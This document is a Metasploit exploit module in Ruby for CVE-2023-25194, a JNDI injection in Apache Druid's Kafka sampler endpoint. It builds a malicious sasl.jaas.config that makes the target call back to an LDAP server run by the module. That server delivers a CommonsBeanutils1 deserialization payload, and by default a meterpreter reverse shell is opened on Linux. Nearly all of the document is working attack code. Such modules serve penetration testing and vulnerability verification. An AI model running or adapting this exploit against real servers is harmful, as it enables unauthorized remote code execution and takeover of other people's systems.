Apache Druid JNDI Injection Remote Code Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Retry
  include Msf::Exploit::Remote::JndiInjection
  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(_info = {})
    super(
      'Name' => 'Apache Druid JNDI Injection RCE',
      'Description' => %q{

        This module is designed to exploit the JNDI injection vulnerability
        in Druid. The vulnerability specifically affects the indexer/v1/sampler
        interface of Druid, enabling an attacker to execute arbitrary commands
        on the targeted server.

        The vulnerability is found in Apache Kafka clients versions ranging from
        2.3.0 to 3.3.2. If an attacker can manipulate the sasl.jaas.config
        property of any of the connector's Kafka clients to com.sun.security.auth.module.JndiLoginModule,
        it allows the server to establish a connection with the attacker's LDAP server
        and deserialize the LDAP response. This provides the attacker with the capability
        to execute java deserialization gadget chains on the Kafka connect server,
        potentially leading to unrestricted deserialization of untrusted data or even
        remote code execution (RCE) if there are relevant gadgets in the classpath.

        To facilitate the exploitation process, this module will initiate an LDAP server
        that the target server needs to connect to in order to carry out the attack.
      },
      'Author' => [
        'RedWay Security <info[at]redwaysecurity.com>', # Metasploit module
        'Jari Jääskelä <https://github.com/jarijaas>' # discovery
      ],
      'References' => [
        [ 'CVE', '2023-25194' ],
        [ 'URL', 'https://hackerone.com/reports/1529790'],
        [ 'URL', 'https://lists.apache.org/thread/vy1c7fqcdqvq5grcqp6q5jyyb302khyz' ]
      ],
      'DisclosureDate' => '2023-02-07',
      'License' => MSF_LICENSE,
      'DefaultOptions' => {
        'RPORT' => 8888,
        'SSL' => true,
        'SRVPORT' => 3389,
        'WfsDelay' => 30
      },
      'Targets' => [
        [
          'Windows', {
            'Platform' => 'win'
          },
        ],
        [
          'Linux', {
            'Platform' => 'unix',
            'Arch' => [ARCH_CMD],
            'DefaultOptions' => {
              'PAYLOAD' => 'cmd/unix/python/meterpreter_reverse_tcp'
            }
          },
        ]
      ],
      'Notes' => {
        'Stability' => [CRASH_SAFE],
        'SideEffects' => [IOC_IN_LOGS],
        'Reliability' => [REPEATABLE_SESSION]
      }
    )
    register_options([
      OptString.new('TARGETURI', [ true, 'Base path', '/'])
    ])
  end

  def check
    validate_configuration!

    vprint_status('Attempting to trigger the jndi callback...')

    start_service
    res = trigger
    return Exploit::CheckCode::Unknown('No HTTP response was received.') if res.nil?

    retry_until_truthy(timeout: datastore['WfsDelay']) { @search_received }

    return Exploit::CheckCode::Unknown('No LDAP search query was received.') unless @search_received

    report_vuln({
      host: rhost,
      port: rport,
      name: name.to_s,
      refs: references,
      info: "Module #{fullname} found vulnerable host."
    })

    Exploit::CheckCode::Vulnerable
  ensure
    cleanup_service
  end

  def build_ldap_search_response_payload
    return [] if @search_received

    @search_received = true

    return [] unless @exploiting

    print_good('Delivering the serialized Java object to execute the payload...')
    build_ldap_search_response_payload_inline('CommonsBeanutils1')
  end

  def trigger
    data = {
      type: 'kafka',
      spec: {
        type: 'kafka',
        ioConfig: {
          type: 'kafka',
          consumerProperties: {
            "bootstrap.servers": "#{Faker::Internet.ip_v4_address}:#{Faker::Number.number(digits: 4)}",
            "sasl.mechanism": 'SCRAM-SHA-256',
            "security.protocol": 'SASL_SSL',
            "sasl.jaas.config": "com.sun.security.auth.module.JndiLoginModule required user.provider.url="#{jndi_string}" useFirstPass="true" serviceName="#{Rex::Text.rand_text_alphanumeric(5)}" debug="true" group.provider.url="#{Rex::Text.rand_text_alphanumeric(5)}";"
          },
          topic: Rex::Text.rand_text_alpha(8..12).to_s,
          useEarliestOffset: true,
          inputFormat: { type: 'regex', pattern: '([sS]*)', listDelimiter: (SecureRandom.uuid.gsub('-', '')[0..20]).to_s, columns: ['raw'] }
        },
        dataSchema: { dataSource: Rex::Text.rand_text_alphanumeric(5..10).to_s, timestampSpec: { column: Rex::Text.rand_text_alphanumeric(5..10).to_s, missingValue: DateTime.now.utc.iso8601.to_s }, dimensionsSpec: {}, granularitySpec: { rollup: false } },
        tuningConfig: { type: 'kafka' }
      },
      samplerConfig: { numRows: 500, timeoutMs: 15000 }
    }

    @search_received = false

    send_request_cgi(
      'uri' => normalize_uri(target_uri, '/druid/indexer/v1/sampler') + '?for=connect',
      'method' => 'POST',
      'ctype' => 'application/json',
      'data' => data.to_json
    )
  end

  def exploit
    validate_configuration!
    @exploiting = true
    start_service
    res = trigger
    fail_with(Failure::Unreachable, 'Failed to trigger the vulnerability') if res.nil?
    fail_with(Failure::UnexpectedReply, 'The server replied to the trigger in an unexpected way') unless res.code == 400

    retry_until_truthy(timeout: datastore['WfsDelay']) { @search_received && (!handler_enabled? || session_created?) }
    handler
  ensure
    cleanup
  end
end